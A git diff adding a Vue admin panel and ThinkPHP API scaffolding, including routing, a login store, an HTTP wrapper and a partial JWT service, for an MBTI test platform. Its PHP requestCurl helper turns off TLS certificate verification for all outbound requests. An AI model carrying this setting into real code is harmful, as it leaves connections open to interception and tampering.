-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, + 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', + 'Noto Color Emoji'; +} + +/* 自定义滚动条 */ +::-webkit-scrollbar { + width: 8px; + height: 8px; +} + +::-webkit-scrollbar-track { + background: #f1f1f1; +} + +::-webkit-scrollbar-thumb { + background: #c1c1c1; + border-radius: 4px; +} + +::-webkit-scrollbar-thumb:hover { + background: #a8a8a8; +} + +/* Element Plus 自定义样式 */ +.el-card { + border-radius: 8px; +} + +.el-button { + border-radius: 6px; +} + +/* 页面容器 */ +.page-container { + padding: 20px; +} + +.page-header { + margin-bottom: 20px; + + h2 { + font-size: 24px; + font-weight: 600; + color: #303133; + } + + p { + margin-top: 8px; + font-size: 14px; + color: #909399; + } +} + +/* 统计卡片 */ +.stat-card { + padding: 24px; + border-radius: 12px; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + color: white; + + &.blue { + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + } + + &.green { + background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); + } + + &.orange { + background: linear-gradient(135deg, #fa709a 0%, #fee140 100%); + } + + &.purple { + background: linear-gradient(135deg, #30cfd0 0%, #330867 100%); + } + + .stat-value { + font-size: 32px; + font-weight: bold; + margin: 12px 0; + } + + .stat-label { + font-size: 14px; + opacity: 0.9; + } +} + +/* 响应式 */ +@media (max-width: 768px) { + .page-container { + padding: 16px; + } +} + diff --git a/admin/src/layouts/AdminLayout.vue b/admin/src/layouts/AdminLayout.vue new file mode 100644 index 0000000..533b544 --- /dev/null +++ b/admin/src/layouts/AdminLayout.vue @@ -0,0 +1,357 @@ + + + + + + diff --git a/admin/src/layouts/SuperAdminLayout.vue b/admin/src/layouts/SuperAdminLayout.vue new file mode 100644 index 0000000..a402b46 --- /dev/null +++ b/admin/src/layouts/SuperAdminLayout.vue @@ -0,0 +1,330 @@ + + + + + + diff --git a/admin/src/main.ts b/admin/src/main.ts new file mode 100644 index 0000000..914f994 --- /dev/null +++ b/admin/src/main.ts @@ -0,0 +1,27 @@ +import { createApp } from 'vue' +import { createPinia } from 'pinia' +import ElementPlus from 'element-plus' +import 'element-plus/dist/index.css' +import 'element-plus/theme-chalk/dark/css-vars.css' +import * as ElementPlusIconsVue from '@element-plus/icons-vue' +import zhCn from 'element-plus/es/locale/lang/zh-cn' + +import App from './App.vue' +import router from './router' +import './assets/main.scss' + +const app = createApp(App) + +// 注册所有 Element Plus 图标 +for (const [key, component] of Object.entries(ElementPlusIconsVue)) { + app.component(key, component) +} + +app.use(createPinia()) +app.use(router) +app.use(ElementPlus, { + locale: zhCn, +}) + +app.mount('#app') + diff --git a/admin/src/router/index.ts b/admin/src/router/index.ts new file mode 100644 index 0000000..8848592 --- /dev/null +++ b/admin/src/router/index.ts @@ -0,0 +1,203 @@ +import { createRouter, createWebHistory } from 'vue-router' +import type { RouteRecordRaw } from 'vue-router' + +const routes: RouteRecordRaw[] = [ + // 普通管理后台路由 + { + path: '/admin/login', + name: 'AdminLogin', + component: () => import('@/views/admin/Login.vue'), + meta: { title: '管理员登录' } + }, + { + path: '/admin', + component: () => import('@/layouts/AdminLayout.vue'), + redirect: '/admin/dashboard', + children: [ + { + path: 'dashboard', + name: 'AdminDashboard', + component: () => import('@/views/admin/Dashboard.vue'), + meta: { title: '数据概览' } + }, + { + path: 'users', + name: 'AdminUsers', + component: () => import('@/views/admin/Users.vue'), + meta: { title: '用户管理' } + }, + { + path: 'orders', + name: 'AdminOrders', + component: () => import('@/views/admin/Orders.vue'), + meta: { title: '订单管理' } + }, + { + path: 'distribution', + name: 'AdminDistribution', + component: () => import('@/views/admin/Distribution.vue'), + meta: { title: '分销管理' } + }, + { + path: 'questions', + name: 'AdminQuestions', + component: () => import('@/views/admin/Questions.vue'), + meta: { title: '题库管理' } + }, + { + path: 'pricing', + name: 'AdminPricing', + component: () => import('@/views/admin/Pricing.vue'), + meta: { title: '价格设置' } + }, + { + path: 'finance', + name: 'AdminFinance', + component: () => import('@/views/admin/Finance.vue'), + meta: { title: '企业余额' } + }, + { + path: 'settings', + name: 'AdminSettings', + component: () => import('@/views/admin/Settings.vue'), + meta: { title: '系统设置' } + }, + ] + }, + + // 超级管理后台路由 + { + path: '/superadmin/login', + name: 'SuperAdminLogin', + component: () => import('@/views/superadmin/Login.vue'), + meta: { title: '超级管理员登录' } + }, + { + path: '/superadmin', + component: () => import('@/layouts/SuperAdminLayout.vue'), + redirect: '/superadmin/overview', + children: [ + { + path: 'overview', + name: 'SuperAdminOverview', + component: () => import('@/views/superadmin/Overview.vue'), + meta: { title: '概览' } + }, + { + path: 'enterprises', + name: 'SuperAdminEnterprises', + component: () => import('@/views/superadmin/Enterprises.vue'), + meta: { title: '企业管理' } + }, + { + path: 'users', + name: 'SuperAdminUsers', + component: () => import('@/views/superadmin/Users.vue'), + meta: { title: '用户总览' } + }, + { + path: 'questions', + name: 'SuperAdminQuestions', + component: () => import('@/views/superadmin/Questions.vue'), + meta: { title: '题库管理' } + }, + { + path: 'ai-config', + name: 'SuperAdminAIConfig', + component: () => import('@/views/superadmin/AIConfig.vue'), + meta: { title: 'AI 服务配置' } + }, + { + path: 'pricing', + name: 'SuperAdminPricing', + component: () => import('@/views/superadmin/Pricing.vue'), + meta: { title: '全局定价' } + }, + { + path: 'distribution', + name: 'SuperAdminDistribution', + component: () => import('@/views/superadmin/Distribution.vue'), + meta: { title: '分销管理' } + }, + { + path: 'finance', + name: 'SuperAdminFinance', + component: () => import('@/views/superadmin/Finance.vue'), + meta: { title: '财务数据' } + }, + { + path: 'database', + name: 'SuperAdminDatabase', + component: () => import('@/views/superadmin/Database.vue'), + meta: { title: '数据库管理' } + }, + { + path: 'settings', + name: 'SuperAdminSettings', + component: () => import('@/views/superadmin/Settings.vue'), + meta: { title: '系统设置' } + }, + ] + }, + + // 默认重定向 + { + path: '/', + redirect: '/admin/login' + } +] + +const router = createRouter({ + history: createWebHistory(import.meta.env.BASE_URL), + routes +}) + +// 路由守卫 +router.beforeEach((to, _from, next) => { + // 设置页面标题 + document.title = to.meta.title ? `${to.meta.title} - MBTI 管理后台` : 'MBTI 管理后台' + + // 检查登录状态(使用Token) + const token = localStorage.getItem('authToken') + const userRole = localStorage.getItem('userRole') + + // 管理后台路由守卫 + if (to.path.startsWith('/admin') && to.path !== '/admin/login') { + if (!token || !userRole || !['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { + // 清除登录状态 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('adminLoggedIn') + next('/admin/login') + return + } + } + + // 超级管理后台路由守卫 + if (to.path.startsWith('/superadmin') && to.path !== '/superadmin/login') { + if (!token || userRole !== 'superadmin') { + // 清除登录状态 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('superAdminLoggedIn') + next('/superadmin/login') + return + } + } + + // 如果已登录,访问登录页则跳转到对应首页 + if (to.path === '/admin/login' && token && userRole && ['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { + next('/admin/dashboard') + return + } + + if (to.path === '/superadmin/login' && token && userRole === 'superadmin') { + next('/superadmin/overview') + return + } + + next() +}) + +export default router + diff --git a/admin/src/stores/auth.ts b/admin/src/stores/auth.ts new file mode 100644 index 0000000..bf86d32 --- /dev/null +++ b/admin/src/stores/auth.ts @@ -0,0 +1,148 @@ +import { defineStore } from 'pinia' +import { ref } from 'vue' +import { request } from '@/utils/request' + +interface LoginResponse { + code: number + message: string + data: { + token: string + expires_in: number + user: { + id: number + username: string + role: string + enterprise_id?: number | null + } + } +} + +export const useAuthStore = defineStore('auth', () => { + // 管理员登录状态 + const adminLoggedIn = ref(false) + const superAdminLoggedIn = ref(false) + const currentUser = ref(null) + + // 初始化登录状态(自动执行) + function initAuth() { + if (typeof window !== 'undefined') { + const token = localStorage.getItem('authToken') + const userRole = localStorage.getItem('userRole') + + if (token && userRole) { + if (userRole === 'superadmin') { + superAdminLoggedIn.value = true + } else if (['admin', 'enterprise_admin'].includes(userRole)) { + adminLoggedIn.value = true + } + } + } + } + + // 自动初始化 + initAuth() + + // 管理员登录 + async function adminLogin(username: string, password: string): Promise { + try { + const response = await request.post('/auth/admin/login', { + username, + password + }) + + if (response.code === 200 && response.data) { + // 存储Token和用户信息 + localStorage.setItem('authToken', response.data.token) + localStorage.setItem('userRole', response.data.user.role) + localStorage.setItem('userId', String(response.data.user.id)) + localStorage.setItem('adminLoggedIn', 'true') + + currentUser.value = response.data.user + adminLoggedIn.value = true + + return true + } + return false + } catch (error: any) { + console.error('登录失败:', error) + throw error + } + } + + // 超级管理员登录 + async function superAdminLogin(username: string, password: string): Promise { + try { + const response = await request.post('/auth/superadmin/login', { + username, + password + }) + + if (response.code === 200 && response.data) { + // 存储Token和用户信息 + localStorage.setItem('authToken', response.data.token) + localStorage.setItem('userRole', response.data.user.role) + localStorage.setItem('userId', String(response.data.user.id)) + localStorage.setItem('superAdminLoggedIn', 'true') + + currentUser.value = response.data.user + superAdminLoggedIn.value = true + + return true + } + return false + } catch (error: any) { + console.error('登录失败:', error) + throw error + } + } + + // 管理员登出 + async function adminLogout() { + try { + await request.post('/auth/logout') + } catch (error) { + console.error('退出登录失败:', error) + } finally { + // 清除本地存储 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + adminLoggedIn.value = false + currentUser.value = null + } + } + + // 超级管理员登出 + async function superAdminLogout() { + try { + await request.post('/auth/logout') + } catch (error) { + console.error('退出登录失败:', error) + } finally { + // 清除本地存储 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + superAdminLoggedIn.value = false + currentUser.value = null + } + } + + return { + adminLoggedIn, + superAdminLoggedIn, + currentUser, + initAuth, + adminLogin, + superAdminLogin, + adminLogout, + superAdminLogout + } +}) + diff --git a/admin/src/utils/format.ts b/admin/src/utils/format.ts new file mode 100644 index 0000000..3397d0c --- /dev/null +++ b/admin/src/utils/format.ts @@ -0,0 +1,67 @@ +/** + * 格式化金额,自动转换为万或亿单位 + * @param amount 金额(元) + * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) + * @returns 格式化后的金额字符串,如 "¥1000"、"¥1.2万" 或 "¥3.5亿" + */ +export function formatCurrency(amount: number, decimals: number = 1): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '¥0' + } + + const absAmount = Math.abs(amount) + + // 大于等于1亿,使用亿单位 + if (absAmount >= 100000000) { + return `¥${(amount / 100000000).toFixed(decimals)}亿` + } + + // 大于等于1万,使用万单位 + if (absAmount >= 10000) { + return `¥${(amount / 10000).toFixed(decimals)}万` + } + + // 小于1万,直接显示整数(不带小数) + return `¥${Math.round(amount).toLocaleString()}` +} + +/** + * 格式化金额(不带符号),自动转换为万或亿单位 + * @param amount 金额(元) + * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) + * @returns 格式化后的金额字符串,如 "1000"、"1.2万" 或 "3.5亿" + */ +export function formatCurrencyWithoutSymbol(amount: number, decimals: number = 1): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '0' + } + + const absAmount = Math.abs(amount) + + // 大于等于1亿,使用亿单位 + if (absAmount >= 100000000) { + return `${(amount / 100000000).toFixed(decimals)}亿` + } + + // 大于等于1万,使用万单位 + if (absAmount >= 10000) { + return `${(amount / 10000).toFixed(decimals)}万` + } + + // 小于1万,直接显示整数(不带小数) + return `¥${Math.round(amount).toLocaleString()}` +} + +/** + * 格式化金额(元),始终保留两位小数,用于订单/财务等精确展示 + * 避免 0.23 元被 formatCurrency 四舍五入成 ¥0 + * @param amount 金额(元) + */ +export function formatMoneyYuan(amount: number): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '¥0.00' + } + const n = Number(amount) + return '¥' + (Number.isFinite(n) ? n.toFixed(2) : '0.00') +} + diff --git a/admin/src/utils/request.ts b/admin/src/utils/request.ts new file mode 100644 index 0000000..6356a46 --- /dev/null +++ b/admin/src/utils/request.ts @@ -0,0 +1,118 @@ +import axios from 'axios' +import type { AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios' +import { ElMessage } from 'element-plus' + +// 获取API基础URL +const getBaseURL = (): string => { + const envURL = import.meta.env.VITE_API_BASE_URL + if (envURL) { + // 如果环境变量是完整URL,拼接 /api/v1 + return envURL.endsWith('/') ? `${envURL}api/v1` : `${envURL}/api/v1` + } + // 默认使用相对路径 + return '/api/v1' +} + +// 创建 axios 实例 +const service: AxiosInstance = axios.create({ + baseURL: getBaseURL(), + timeout: 15000, + headers: { + 'Content-Type': 'application/json' + } +}) + +// 请求拦截器 +service.interceptors.request.use( + (config) => { + // 可以在这里添加 token + const token = localStorage.getItem('authToken') + if (token) { + config.headers.Authorization = `Bearer ${token}` + } + return config + }, + (error) => { + console.error('请求错误:', error) + return Promise.reject(error) + } +) + +// 响应拦截器 +service.interceptors.response.use( + (response: AxiosResponse) => { + const res = response.data + + // 如果返回的状态码不是 200,则认为是错误 + if (res.code && res.code !== 200) { + ElMessage.error(res.message || '请求失败') + return Promise.reject(new Error(res.message || '请求失败')) + } + + return res + }, + (error) => { + console.error('响应错误:', error) + + if (error.response) { + const { status, data } = error.response + + if (status === 401) { + ElMessage.error('未授权,请重新登录') + // 清除所有登录状态和Token + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + // 根据当前路径跳转到对应登录页 + if (window.location.pathname.startsWith('/superadmin')) { + window.location.href = '/superadmin/login' + } else { + window.location.href = '/admin/login' + } + } else if (status === 403) { + ElMessage.error('拒绝访问') + } else if (status === 404) { + ElMessage.error('请求地址不存在') + } else if (status === 500) { + ElMessage.error('服务器错误') + } else { + ElMessage.error(data?.message || '请求失败') + } + } else if (error.request) { + ElMessage.error('网络错误,请检查网络连接') + } else { + ElMessage.error('请求配置错误') + } + + return Promise.reject(error) + } +) + +// 导出请求方法 +export const request = { + get(url: string, config?: AxiosRequestConfig): Promise { + return service.get(url, config) + }, + + post(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.post(url, data, config) + }, + + put(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.put(url, data, config) + }, + + delete(url: string, config?: AxiosRequestConfig): Promise { + return service.delete(url, config) + }, + + patch(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.patch(url, data, config) + } +} + +export default service + diff --git a/admin/src/views/admin/Dashboard.vue b/admin/src/views/admin/Dashboard.vue new file mode 100644 index 0000000..400e710 --- /dev/null +++ b/admin/src/views/admin/Dashboard.vue @@ -0,0 +1,392 @@ + + + + + diff --git a/admin/src/views/admin/Distribution.vue b/admin/src/views/admin/Distribution.vue new file mode 100644 index 0000000..9c8de16 --- /dev/null +++ b/admin/src/views/admin/Distribution.vue @@ -0,0 +1,1231 @@ + + + + + diff --git a/admin/src/views/admin/Finance.vue b/admin/src/views/admin/Finance.vue new file mode 100644 index 0000000..ba1569e --- /dev/null +++ b/admin/src/views/admin/Finance.vue @@ -0,0 +1,379 @@ + + + + + diff --git a/admin/src/views/admin/Login.vue b/admin/src/views/admin/Login.vue new file mode 100644 index 0000000..917d72d --- /dev/null +++ b/admin/src/views/admin/Login.vue @@ -0,0 +1,254 @@ + + + + + diff --git a/admin/src/views/admin/Orders.vue b/admin/src/views/admin/Orders.vue new file mode 100644 index 0000000..329f6ef --- /dev/null +++ b/admin/src/views/admin/Orders.vue @@ -0,0 +1,611 @@ + + + + + diff --git a/admin/src/views/admin/PosterEditor.vue b/admin/src/views/admin/PosterEditor.vue new file mode 100644 index 0000000..b7eb1f7 --- /dev/null +++ b/admin/src/views/admin/PosterEditor.vue @@ -0,0 +1,981 @@ + + + + + diff --git a/admin/src/views/admin/Pricing.vue b/admin/src/views/admin/Pricing.vue new file mode 100644 index 0000000..48b0a0f --- /dev/null +++ b/admin/src/views/admin/Pricing.vue @@ -0,0 +1,363 @@ + + + + + diff --git a/admin/src/views/admin/Questions.vue b/admin/src/views/admin/Questions.vue new file mode 100644 index 0000000..020d69e --- /dev/null +++ b/admin/src/views/admin/Questions.vue @@ -0,0 +1,1059 @@ + + + + + diff --git a/admin/src/views/admin/Settings.vue b/admin/src/views/admin/Settings.vue new file mode 100644 index 0000000..59af5ee --- /dev/null +++ b/admin/src/views/admin/Settings.vue @@ -0,0 +1,543 @@ + + + + + diff --git a/admin/src/views/admin/Users.vue b/admin/src/views/admin/Users.vue new file mode 100644 index 0000000..a1c59ce --- /dev/null +++ b/admin/src/views/admin/Users.vue @@ -0,0 +1,1530 @@ + + + + + diff --git a/admin/src/views/superadmin/AIConfig.vue b/admin/src/views/superadmin/AIConfig.vue new file mode 100644 index 0000000..89ce878 --- /dev/null +++ b/admin/src/views/superadmin/AIConfig.vue @@ -0,0 +1,1596 @@ + + + + + diff --git a/admin/src/views/superadmin/Database.vue b/admin/src/views/superadmin/Database.vue new file mode 100644 index 0000000..a935350 --- /dev/null +++ b/admin/src/views/superadmin/Database.vue @@ -0,0 +1,483 @@ + + + + + diff --git a/admin/src/views/superadmin/Distribution.vue b/admin/src/views/superadmin/Distribution.vue new file mode 100644 index 0000000..571e8d9 --- /dev/null +++ b/admin/src/views/superadmin/Distribution.vue @@ -0,0 +1,694 @@ + + + + + diff --git a/admin/src/views/superadmin/Enterprises.vue b/admin/src/views/superadmin/Enterprises.vue new file mode 100644 index 0000000..c059410 --- /dev/null +++ b/admin/src/views/superadmin/Enterprises.vue @@ -0,0 +1,1215 @@ + + + + + diff --git a/admin/src/views/superadmin/Finance.vue b/admin/src/views/superadmin/Finance.vue new file mode 100644 index 0000000..635695a --- /dev/null +++ b/admin/src/views/superadmin/Finance.vue @@ -0,0 +1,933 @@ + + + + + diff --git a/admin/src/views/superadmin/Login.vue b/admin/src/views/superadmin/Login.vue new file mode 100644 index 0000000..5644487 --- /dev/null +++ b/admin/src/views/superadmin/Login.vue @@ -0,0 +1,254 @@ + + + + + diff --git a/admin/src/views/superadmin/Overview.vue b/admin/src/views/superadmin/Overview.vue new file mode 100644 index 0000000..9f1db0c --- /dev/null +++ b/admin/src/views/superadmin/Overview.vue @@ -0,0 +1,824 @@ + + + + + diff --git a/admin/src/views/superadmin/PosterEditor.vue b/admin/src/views/superadmin/PosterEditor.vue new file mode 100644 index 0000000..a539170 --- /dev/null +++ b/admin/src/views/superadmin/PosterEditor.vue @@ -0,0 +1,985 @@ + + + + + diff --git a/admin/src/views/superadmin/Pricing.vue b/admin/src/views/superadmin/Pricing.vue new file mode 100644 index 0000000..e7fe14b --- /dev/null +++ b/admin/src/views/superadmin/Pricing.vue @@ -0,0 +1,1072 @@ + + + + + diff --git a/admin/src/views/superadmin/Questions.vue b/admin/src/views/superadmin/Questions.vue new file mode 100644 index 0000000..56e74c8 --- /dev/null +++ b/admin/src/views/superadmin/Questions.vue @@ -0,0 +1,1116 @@ + + + + + diff --git a/admin/src/views/superadmin/Settings.vue b/admin/src/views/superadmin/Settings.vue new file mode 100644 index 0000000..a3d829b --- /dev/null +++ b/admin/src/views/superadmin/Settings.vue @@ -0,0 +1,871 @@ + + + + + diff --git a/admin/src/views/superadmin/Users.vue b/admin/src/views/superadmin/Users.vue new file mode 100644 index 0000000..b46439b --- /dev/null +++ b/admin/src/views/superadmin/Users.vue @@ -0,0 +1,1961 @@ + + + + + diff --git a/admin/src/vite-env.d.ts b/admin/src/vite-env.d.ts new file mode 100644 index 0000000..7d0ff9e --- /dev/null +++ b/admin/src/vite-env.d.ts @@ -0,0 +1 @@ +/// diff --git a/admin/tsconfig.json b/admin/tsconfig.json new file mode 100644 index 0000000..367f88d --- /dev/null +++ b/admin/tsconfig.json @@ -0,0 +1,26 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "module": "ESNext", + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "preserve", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"] + } + }, + "include": ["src/**/*.ts", "src/**/*.d.ts", "src/**/*.tsx", "src/**/*.vue"], + "references": [{ "path": "./tsconfig.node.json" }] +} + diff --git a/admin/tsconfig.node.json b/admin/tsconfig.node.json new file mode 100644 index 0000000..6b51514 --- /dev/null +++ b/admin/tsconfig.node.json @@ -0,0 +1,11 @@ +{ + "compilerOptions": { + "composite": true, + "skipLibCheck": true, + "module": "ESNext", + "moduleResolution": "bundler", + "allowSyntheticDefaultImports": true + }, + "include": ["vite.config.ts"] +} + diff --git a/admin/vite.config.ts b/admin/vite.config.ts new file mode 100644 index 0000000..f1790b4 --- /dev/null +++ b/admin/vite.config.ts @@ -0,0 +1,52 @@ +import { fileURLToPath, URL } from 'node:url' +import { defineConfig } from 'vite' +import vue from '@vitejs/plugin-vue' +import AutoImport from 'unplugin-auto-import/vite' +import Components from 'unplugin-vue-components/vite' +import { ElementPlusResolver } from 'unplugin-vue-components/resolvers' + +export default defineConfig({ + css: { + preprocessorOptions: { + scss: { silenceDeprecations: ['legacy-js-api'] }, + sass: { silenceDeprecations: ['legacy-js-api'] } + } + }, + build: { + chunkSizeWarningLimit: 1200 + }, + plugins: [ + vue(), + AutoImport({ + imports: ['vue', 'vue-router', 'pinia'], + resolvers: [ElementPlusResolver()], + dts: 'src/auto-imports.d.ts', + }), + Components({ + resolvers: [ElementPlusResolver()], + dts: 'src/components.d.ts', + }), + ], + resolve: { + alias: { + '@': fileURLToPath(new URL('./src', import.meta.url)) + } + }, + server: { + host: '0.0.0.0', // 允许局域网访问 + port: 5173, // 首选端口 + strictPort: false, // 如果端口被占用,自动尝试下一个可用端口 + proxy: { + '/api': { + // 如果 VITE_API_BASE_URL 是完整URL,则不使用代理 + // 否则代理到测试服务器 + // 注意:在vite.config.ts中无法直接访问import.meta.env + // 这里使用默认代理配置,实际请求会根据VITE_API_BASE_URL决定 + target: 'http://test.mbti.com', // 本地开发代理到测试环境 + changeOrigin: true, + rewrite: (path) => path, // 保持路径不变 + } + } + } +}) + diff --git a/api/app/BaseController.php b/api/app/BaseController.php new file mode 100644 index 0000000..be3310b --- /dev/null +++ b/api/app/BaseController.php @@ -0,0 +1,121 @@ +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + /** + * 从请求中解析当前登录用户(兼容中间件注入和 JWT 直接解析两种方式) + */ + protected function resolveUser(): ?array + { + $user = $this->request->user ?? null; + if ($user) { + return is_array($user) ? $user : (array) $user; + } + + $token = JwtService::getTokenFromRequest($this->request); + if (!$token) { + return null; + } + + $payload = JwtService::verifyToken($token); + if (!$payload) { + return null; + } + + return [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch || $this->batchValidate) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + + diff --git a/api/app/common.php b/api/app/common.php new file mode 100644 index 0000000..41f3dc3 --- /dev/null +++ b/api/app/common.php @@ -0,0 +1,171 @@ + $code, + 'message' => $message, + 'data' => $data + ]); +} + +/** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ +function success($data = null, $message = 'success') +{ + return json_response(200, $message, $data); +} + +/** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ +function error($message = 'error', $code = 400) +{ + return json_response($code, $message, null); +} + +/** + * 分页响应 + * @param array $list 列表数据 + * @param int $total 总数 + * @param int $page 当前页 + * @param int $pageSize 每页数量 + * @return \think\response\Json + */ +function paginate_response($list, $total, $page = 1, $pageSize = 10) +{ + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'hasMore' => ($page * $pageSize) < $total + ]); +} + +if (!function_exists('requestCurl')) { + /** + * @param string $url 请求的链接 + * @param array $params 请求附带的参数 + * @param string $method 请求的方式, 支持GET, POST, PUT, DELETE等 + * @param array $header 头部 + * @param string $type 数据类型,支持dataBuild、json等 + * @return bool|string + */ + function requestCurl($url, $params = [], $method = 'GET', $header = [], $type = 'dataBuild') + { + $str = ''; + if (!empty($url)) { + try { + $ch = curl_init(); + + // 处理GET请求的参数 + if (strtoupper($method) == 'GET' && !empty($params)) { + $url = $url . '?' . dataBuild($params); + } + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); //30秒超时 + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + + // 处理不同的请求方法 + if (strtoupper($method) != 'GET') { + // 设置请求方法 + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method)); + + // 处理参数格式 + if ($type == 'dataBuild') { + $params = dataBuild($params); + } elseif ($type == 'json') { + $params = json_encode($params); + } else { + $params = dataBuild($params); + } + + // 设置请求体 + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + } + + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //是否验证对等证书,1则验证,0则不验证 + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + $str = curl_exec($ch); + curl_close($ch); + } catch (Exception $e) { + $str = ''; + } + } + return $str; + } +} + + +if (!function_exists('dataBuild')) { + function dataBuild($array) + { + if (!is_array($array)) { + return $array; + } + + // 处理嵌套数组 + foreach ($array as $key => $value) { + if (is_array($value)) { + $array[$key] = json_encode($value); + } + } + + return http_build_query($array); + } +} + + +if (!function_exists('setHeader')) { + /** + * 设置头部 + * + * @param array $headerData 头部数组 + * @param string $authorization + * @param string $type 类型 默认json (json,plain) + * @return array + */ + function setHeader($headerData = [], $authorization = '', $type = '') + { + $header = $headerData; + + switch ($type) { + case 'json': + $header[] = 'Content-Type:application/json'; + break; + case 'html' : + $header[] = 'Content-Type:text/html'; + break; + case 'plain' : + $header[] = 'Content-Type:text/plain'; + break; + default: + $header[] = 'Content-Type:application/json'; + } +// $header[] = $type == 'plain' ? 'Content-Type:text/plain' : 'Content-Type: application/json'; + if ($authorization !== "") $header[] = 'Authorization:Bearer ' . $authorization; + return $header; + } +} + + diff --git a/api/app/common/controller/BaseController.php b/api/app/common/controller/BaseController.php new file mode 100644 index 0000000..fb5f7be --- /dev/null +++ b/api/app/common/controller/BaseController.php @@ -0,0 +1,124 @@ +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ + protected function success($data = null, $message = 'success') + { + $response = Response::create([ + 'code' => 200, + 'message' => $message, + 'data' => $data + ], 'json')->code(200); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ + protected function error($message = 'error', $code = 400) + { + $response = Response::create([ + 'code' => $code, + 'message' => $message, + 'data' => null + ], 'json')->code($code); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + diff --git a/api/app/common/service/JwtService.php b/api/app/common/service/JwtService.php new file mode 100644 index 0000000..ab62a4a --- /dev/null +++ b/api/app/common/service/JwtService.php @@ -0,0 +1,132 @@ + 'JWT', 'alg' => 'HS256'])); + $payloadStr = base64_encode(json_encode($payload)); + $signature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + $token = $header . '.' . $payloadStr . '.' . $signature; + + // 将Token存储到缓存(用于刷新和注销),带 source 区分小程序用户与管理员 + $userId = $payload['userId'] ?? $payload['user_id'] ?? null; + if ($userId !== null) { + $key = self::tokenCacheKey($userId, $payload['source'] ?? 